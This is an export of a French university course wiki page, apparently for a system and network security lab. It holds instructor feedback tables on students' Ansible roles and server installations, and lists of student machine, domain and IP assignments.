| installée par TV, ssh installé par ReX, clef ed25519 absente || le rôle est déjà pris, rabattez-vous sur le rôle ntp&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| installée par TV, ssh installé par TV, clef ed25519 absente || rôles &amp;lt;code&amp;gt;filesys_role&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;package_role&amp;lt;/code&amp;gt; OK à la lecture (bien factorisés), à tester.&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, clef ed25519 absente || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, NVRAM EFI &amp;quot;pleine&amp;quot;, clef ed25519 absente || inventaire ansible correct, mauvaise syntaxe pour le playbook, test non effectué (ou collègues non prévenus des absences de clef ed25519)&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| installé par ReX, réinitialisation usine, clef USB initiale défaillante, clef ed25519 absente || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| installée par ReX, clef USB, initiale défaillante, clef ed25519 absente || vous n'avez pas défini un rôle mais un playbook, revoyez le cours, de l'idée, en particulier l'ajout du paquetage &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; est à conserver mais après avoir installé les règles, pour les règles utilisez l'action prévue pour [https://docs.ansible.com/ansible/latest/collections/ansible/builtin/iptables_module.html]&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| installée par TV, clef ed25519 absente || mauvais nom de rôle &amp;lt;code&amp;gt;ifacenetwork_role&amp;lt;/code&amp;gt;, il manque le modèle (template), rôle vide en fait&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| installée par ReX, clef USB initiale défaillante, clef ed25519 absente || bonne organisation du rôle, dans le modèle utilisez la bonne syntaxe pour la variable &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, utilisez le sous-répertoire &amp;lt;code&amp;gt;vars&amp;lt;/code&amp;gt; pour votre variable, vous devez récupérer le numéro du nom du nas pas de la zabeth, il manque le dictionnaire pour passer de ce numéro au &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; correspondant, utilisez l'action template pour gérer le template &lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| installée par ReX, modification IPv4 par ReX, clef ed25519 absente || mauvais nom de rôle &amp;lt;code&amp;gt;config_reseau_role&amp;lt;/code&amp;gt;, mauvais modèle (définition d'un vlan ?!, il faut utiliser les directives &amp;lt;code&amp;gt;up&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;down&amp;lt;/code&amp;gt;), mauvaise organisation du rôle (allez voir sur &amp;lt;code&amp;gt;zabeth21&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| installée par ReX, clef ed25519 absente || n'utilisez pas l'action &amp;lt;code&amp;gt;copy&amp;lt;/code&amp;gt;, aucune chance que cela fonctionne, utilisez l'action &amp;lt;code&amp;gt;rsync&amp;lt;/code&amp;gt; comme demandé dans le sujet [https://docs.ansible.com/ansible/latest/collections/ansible/posix/synchronize_module.html], mettez l'archive dans &amp;lt;code&amp;gt;/home/pifou&amp;lt;/code&amp;gt; plutôt&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 11/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (8 février) !! Commentaire sur la tâche supplémentaire (8 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD commandé&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; à corriger avec le nouveau nom de l'interface || le rôle est déjà pris, rabattez-vous sur le rôle ntp&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), clef ed25519 modifiée par ReX (12/2) || rôles &amp;lt;code&amp;gt;role_files&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;role_packages&amp;lt;/code&amp;gt; validés, à tester.&lt;br /&gt;
interfaces réseau renommées, clef ed25519 modifiée par ReX &lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX, pourquoi avoir enlevé le flanc que j'avais bien remis ? || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), réseau VLAN 50 sur la mauvaise interface, câble à changer de position (fait ReX 12/2), clef ed25519 modifiée (ReX 12/2), si le ventilateur ne fonctionne pas changez-le, vous allez tuer le processeur || inventaire ansible correct, mauvaise syntaxe pour le playbook, clef ed25519 mal recopiée&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| interfaces réseau renommées, machine relancée par ReX, même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| interfaces réseau mal renommées (corrigé ReX 12/2), même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || vous n'avez pas défini un rôle mais un playbook, revoyez le cours, de l'idée, en particulier l'ajout du paquetage &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; est à conserver mais après avoir installé les règles, pour les règles utilisez l'action prévue pour [https://docs.ansible.com/ansible/latest/collections/ansible/builtin/iptables_module.html]&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; à corriger avec le nouveau nom de l'interface  || rôle vide&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt;, répertoire &amp;lt;code&amp;gt;/etc/udev/rules.d/70-persistent-net.rules&amp;lt;/code&amp;gt; absent, réseau VLAN 50 sur la mauvaise interface || bonne organisation du rôle (presque, les &amp;lt;code&amp;gt;.yml&amp;lt;/code&amp;gt; doivent s'appeler &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;), dans le modèle utilisez la bonne syntaxe pour la variable &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, utilisez le sous-répertoire &amp;lt;code&amp;gt;vars&amp;lt;/code&amp;gt; pour votre variable, vous devez récupérer le numéro du nom du nas pas de la zabeth, il manque le dictionnaire pour passer de ce numéro au &amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt; correspondant (regardez le rôle &amp;lt;code&amp;gt;role_A_and_B&amp;lt;/code&amp;gt;), utilisez l'action template pour gérer le modèle&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| interfaces réseau renommées, même pas de répertoire &amp;lt;code&amp;gt;/root/.ssh&amp;lt;/code&amp;gt; || mauvais nom de rôle &amp;lt;code&amp;gt;config_reseau_role&amp;lt;/code&amp;gt; (les &amp;lt;code&amp;gt;.yml&amp;lt;/code&amp;gt; doivent s'appeler &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;), mauvais modèle (définition d'un vlan ?!, il faut utiliser les directives &amp;lt;code&amp;gt;up&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;down&amp;lt;/code&amp;gt;), mauvaise organisation du rôle (allez voir le rôle &amp;lt;code&amp;gt;role_A_and_B&amp;lt;/code&amp;gt;)&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| interfaces réseau renommées, clef ed25519 modifiée par ReX  || n'utilisez pas l'action &amp;lt;code&amp;gt;copy&amp;lt;/code&amp;gt;, aucune chance que cela fonctionne, utilisez l'action &amp;lt;code&amp;gt;rsync&amp;lt;/code&amp;gt; comme demandé dans le sujet [https://docs.ansible.com/ansible/latest/collections/ansible/posix/synchronize_module.html], mettez l'archive dans &amp;lt;code&amp;gt;/home/pifou&amp;lt;/code&amp;gt; plutôt&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu du 13/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Commentaire sur l'installation (13 février) !! Commentaire sur la tâche supplémentaire (13 février)&lt;br /&gt;
|-&lt;br /&gt;
| b1&lt;br /&gt;
| contactable par ansible || disques installés, la &amp;lt;code&amp;gt;zabeth18&amp;lt;/code&amp;gt; ne démarre plus, SSD changé, installé (ReX 12/02)&lt;br /&gt;
|-&lt;br /&gt;
| b2&lt;br /&gt;
| toujours pas contactable par ansible || rôle ntp absent&lt;br /&gt;
|-&lt;br /&gt;
| b3&lt;br /&gt;
| contactable par ansible || rôles &amp;lt;code&amp;gt;role_files&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;role_packages&amp;lt;/code&amp;gt; validés, corrections mineures, fonctionnent.&lt;br /&gt;
|-&lt;br /&gt;
| b4&lt;br /&gt;
| contactable par ansible, problème du flanc non fermé || gestion OK des commutateurs, encore des problèmes (e.g. câble défectueux sur nas02)&lt;br /&gt;
|-&lt;br /&gt;
| b5&lt;br /&gt;
| contactable par ansible, gare au ventilateur du processeur || inventaire ansible correct, playbook plausible, clef ed25519 mal recopiée&lt;br /&gt;
|-&lt;br /&gt;
| b6&lt;br /&gt;
| toujours pas contactable par ansible || rôle NFS toujours vide&lt;br /&gt;
|-&lt;br /&gt;
| b7&lt;br /&gt;
| contactable par ansible || rôle mascarade plausible, quelques corrections en particulier sur le réseau IPv4 cible mais pas mal du tout&lt;br /&gt;
|-&lt;br /&gt;
| m8&lt;br /&gt;
| toujours pas contactable par ansible || rôle commutateur virtuel toujours vide&lt;br /&gt;
|-&lt;br /&gt;
| b9&lt;br /&gt;
| contactable par ansible, interfaces mal renommées, câble sur le mauvais port || rôle DNS, bon départ, livraison tardive mais rôle fonctionnel&lt;br /&gt;
|-&lt;br /&gt;
| b10&lt;br /&gt;
| toujours pas contactable par ansible || rôle &amp;quot;interface VLAN50&amp;quot; toujours inexploitable&lt;br /&gt;
|-&lt;br /&gt;
| b11&lt;br /&gt;
| contactable par ansible || rôle &amp;quot;copie archive&amp;quot; toujours inexploitable&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Répartition des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Nom machine services &lt;br /&gt;
! IPv4 privée machine services !! Nom de domaine !! Nom machine mandataire &lt;br /&gt;
! IPv4 privée et routée machine mandataire !! Elève &lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E1 | Cahier n°1]]&lt;br /&gt;
| aigle|| || aigle.lol|| heterodontosaurus|| || Bilal EL HASNAOUI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E2 | Cahier n°2]]&lt;br /&gt;
| chevreuil|| || chevreuil.lol|| spinosaure|| || Némo CAZIN&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E3 | Cahier n°3]]&lt;br /&gt;
| belette|| || belette.lol|| spinosaure|| || Antoine CEGARRA&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E4 | Cahier n°4]]&lt;br /&gt;
| truite|| 10.10.10.10|| truite.fun|| brachiosaure|| 193.48.57.173|| Simon CRUCHET&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E5 | Cahier n°5]]&lt;br /&gt;
| esturgeon|| 10.10.10.11|| esturgeon.fun|| brachiosaure|| 193.48.57.173|| Louis DERYCKERE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E6 | Cahier n°6]]&lt;br /&gt;
| palourde|| 10.10.10.10|| palourde.fun|| raptor|| 193.48.57.174|| Romain DUHR&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E7 | Cahier n°7]]&lt;br /&gt;
| bigorneau|| 10.10.10.11|| bigorneau.fun|| raptor|| 193.48.57.174||Amaury BECQUET&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E8 | Cahier n°8]]&lt;br /&gt;
| munchkin|| || munchkin.site|| trex|| 193.48.57.165|| Youness EL QASTALANI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E9 | Cahier n°9]]&lt;br /&gt;
| ecureuil|| || ecureuil.lol|| || 193.48.57.164|| Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E10 | Cahier n°10]]&lt;br /&gt;
| siamois|| || siamois.site|| trex|| 193.48.57.165|| Younes BENMBAREK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E11 | Cahier n°11]]&lt;br /&gt;
| lynx|| || lynx.lol|| || 193.48.57.164|| Chaymae RHANIM&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E12 | Cahier n°12]]&lt;br /&gt;
| nyala|| || nyala.website|| heterodontosaurus|| || Ayoub CHAOUNI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E13 | Cahier n°13]]&lt;br /&gt;
| tigre|| || tigre.lol|| smilodon|| 172.26.145.32|| Louis WIJSMAN&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E14 | Cahier n°14]]&lt;br /&gt;
| ornithorynque|| || ornithorynque.lol|| pteranodon|| ||Thomas NAVE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E15 | Cahier n°15]]&lt;br /&gt;
| axolotl|| || axolotl.lol|| || 172.26.145.38|| Adrien PALIFERRO&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E16 | Cahier n°16]]&lt;br /&gt;
| caribou|| || caribou.lol|| pteranodon|| || Thibault DUYCK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E17 | Cahier n°17]]&lt;br /&gt;
| panthere|| || panthere.lol|| smilodon|| 172.26.145.32||Thomas LEFRANC&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E18 | Cahier n°18]]&lt;br /&gt;
| singe|| || singe.lol || || 172.26.145.40|| Stéphane KADER-ISSACK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E19 | Cahier n°19]]&lt;br /&gt;
| loutre|| || loutre.lol|| || 172.26.145.40|| Marion NORMAND&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E20 | Cahier n°20]]&lt;br /&gt;
| fennec|| 11.11.11.21|| fennec.pics|| triceratops|| 193.48.57.190|| Taha NEHARI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E21 | Cahier n°21]]&lt;br /&gt;
| castor-canard|| 11.11.11.20|| castor-canard.lol|| triceratops|| 193.48.57.190|| Martin CHAUVELIERE&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP académique&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Premier contrôle continu 08/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| || || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Deuxième contrôle continu 09/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| aigle.lol || &amp;lt;code&amp;gt;aigle&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || Simon CRUCHET &lt;br /&gt;
| truite.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| esturgeon.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| palourde.fun || || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || Amaury BECQUET&lt;br /&gt;
| bigorneau.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| munchkin.site || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (maj non effectuée) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| siamois.site || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| nyala.website || &amp;lt;code&amp;gt;nyala&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj en cours mais pas de réseau) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj non effectuée) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Deuxième contrôle continu 13/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| aigle.lol || &amp;lt;code&amp;gt;aigle&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || &amp;lt;code&amp;gt;chevreuil&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || &amp;lt;code&amp;gt;belette&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || Simon CRUCHET &lt;br /&gt;
| truite.fun || &amp;lt;code&amp;gt;truite&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| esturgeon.fun || &amp;lt;code&amp;gt;esturgeon&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| palourde.fun || &amp;lt;code&amp;gt;palourde&amp;lt;/code&amp;gt; démarrée || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || Amaury BECQUET&lt;br /&gt;
| bigorneau.fun || &amp;lt;code&amp;gt;bigorneau&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| munchkin.site || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (non maj, écrasée avec nouvelle installation) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || &amp;lt;code&amp;gt;ecureuil&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| siamois.site || &amp;lt;code&amp;gt;siamois&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || &amp;lt;code&amp;gt;lynx&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| nyala.website || &amp;lt;code&amp;gt;nyala&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 ||&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj terminée, très bien) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || &amp;lt;code&amp;gt;axolotl&amp;lt;/code&amp;gt; non lancée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || &amp;lt;code&amp;gt;caribou&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || &amp;lt;code&amp;gt;singe&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || &amp;lt;code&amp;gt;loutre&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj terminée, très bien) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5150</id>
		<title>SE4 IdO sécurité système/réseau 2023/2024</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2023/2024&amp;diff=5150"/>
		<updated>2024-02-08T19:31:01Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Répartition des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;migration&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Donnez les élèves dans chaque binôme. Pas de trinôme, éventuellement un monôme.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Binôme !! Elèves !! N° du NAS !! Résumé de la tâche en trois mots&lt;br /&gt;
|-&lt;br /&gt;
| b1 || Louis DERYCKERE &amp;amp; Simon CRUCHET || NAS03 || Installation des disques&lt;br /&gt;
|-&lt;br /&gt;
| b2 ||  Louis WIJSMAN &amp;amp; Thomas LEFRANC|| NAS02 || Serveur de temps&lt;br /&gt;
|-&lt;br /&gt;
| b3 || Thomas Nave &amp;amp; Thibault Duyck || NAS09 || Premiers rôles Ansible&lt;br /&gt;
|-&lt;br /&gt;
| b4 || Romain DUHR &amp;amp; Amaury BECQUET || NAS04 || Câblage anciennes stations &lt;br /&gt;
|-&lt;br /&gt;
| b5 || Younes BENMBAREK &amp;amp; Youness EL QASTALANI || NAS05 || Configuration serveur Ansible&lt;br /&gt;
|-&lt;br /&gt;
| b6 || Chaymae RHANIM &amp;amp; Heriniaina ANDRIANIRINTSOA || NAS06 || Configuration serveur NFS&lt;br /&gt;
|-&lt;br /&gt;
| b7 || Bilal EL HASNAOUI &amp;amp; Ayoub CHAOUNI || NAS07 || Installation d'une mascarade&lt;br /&gt;
|-&lt;br /&gt;
| m8 || Adrien PALIFERRO || NAS08 || Configuration interface réseau (commutateur virtuel)&lt;br /&gt;
|-&lt;br /&gt;
